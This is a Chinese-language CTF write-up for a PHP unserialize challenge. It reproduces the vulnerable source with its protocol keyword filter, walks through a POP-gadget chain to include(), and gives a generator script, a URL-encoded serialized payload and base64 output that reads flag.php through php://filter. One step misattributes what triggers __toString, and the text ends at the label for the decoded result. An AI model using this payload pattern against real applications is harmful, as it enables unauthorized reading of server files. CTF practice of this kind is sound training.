1、打开题目获取到源代码信息,如下:
Welcome to index.php <?php //flag is in flag.php //WTF IS THIS? //Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95 //And Crack It! class Modifier { protected $var; public function append($value){ include($value); } public function __invoke(){ $this->append($this->var); } } class Show{ public $source; public $str; public function __construct($file='index.php'){ $this->source = $file; echo 'Welcome to '.$this->source."<br>"; } public function __toString(){ return $this->str->source; } public function __wakeup(){ if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { echo "hacker"; $this->source = "index.php"; } } } class Test{ public $p; public function __construct(){ $this->p = array(); } public function __get($key){ $function = $this->p; return $function(); } } if(isset($_GET['pop'])){ @unserialize($_GET['pop']); } else{ $a=new Show; highlight_file(__FILE__); }
2、我们的最终目标是获取flag.php中的flag信息,因此分析源代码信息,查看哪里可以获取到flag.php文件,发现在Modifier类中存在include($value),因此想到可以通过php伪协议来获取flag.php的信息,所以现在我们的目的就成了调用append函数,接着往下观察,发现__invoke函数调用了append函数,因此我们只要执行了__invoke函数一样可以获得flag信息,那该怎么执行__invoke函数呢:
因此,此时我们应该使用别的函数来调用Modifier的一个对象,继续观察源代码发现只有test类的__get函数接收了参数值,因此我们就将Modifier对象传入到__get函数中,所以现在的目的就成了执行__get函数,那又该怎么执行__get函数呢:
所以此时就需要一个函数来调用test类中不存在的属性,这里要注意一下这行代码:$this->str->source,这里这么会有两个->呢,因为这里str就是test类的一个对象,然后调用test类的对象的soucre属性,但是这个属性在test类中并不存在,因此就会执行__get方法,所以现在我们就是要执行__toString函数,那我们又该如何执行__toString函数呢:
所以此时我们就需要通过执行show类的__construct函数来执行__toString函数并且__construct函数中的echo 'Welcome to '.$this->source."<br>"中的$this->source需要为对象才可以执行__toString函数,因此需要创建show类的对象和赋予$this->source对象。
3、分析完之后就需要根据分析过程来写脚本,脚本内容如下:
<?php class Modifier { protected $var='php://filter/read=convert.base64-encode/resource=flag.php'; } class Show{ public $source; public $str; } class Test{ public $p; } $a= new Show(); $a->source=new Show(); $a->source->str=new Test(); $a->source->str->p=new Modifier(); echo urlencode(serialize($a));
payload:O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D
4、访问之后获得加密的flag.php文件,进行base64解密,结果如下:
flag.php文件:
PD9waHAKY2xhc3MgRmxhZ3sKICAgIHByaXZhdGUgJGZsYWc9ICJmbGFnezg1YmQ4NzVjLTNiNjktNGExOS05MTQ0LTRlYmM0NzlhYjZjNH0iOwp9CmVjaG8gIkhlbHAgTWUgRmluZCBGTEFHISI7Cj8+
解密后信息: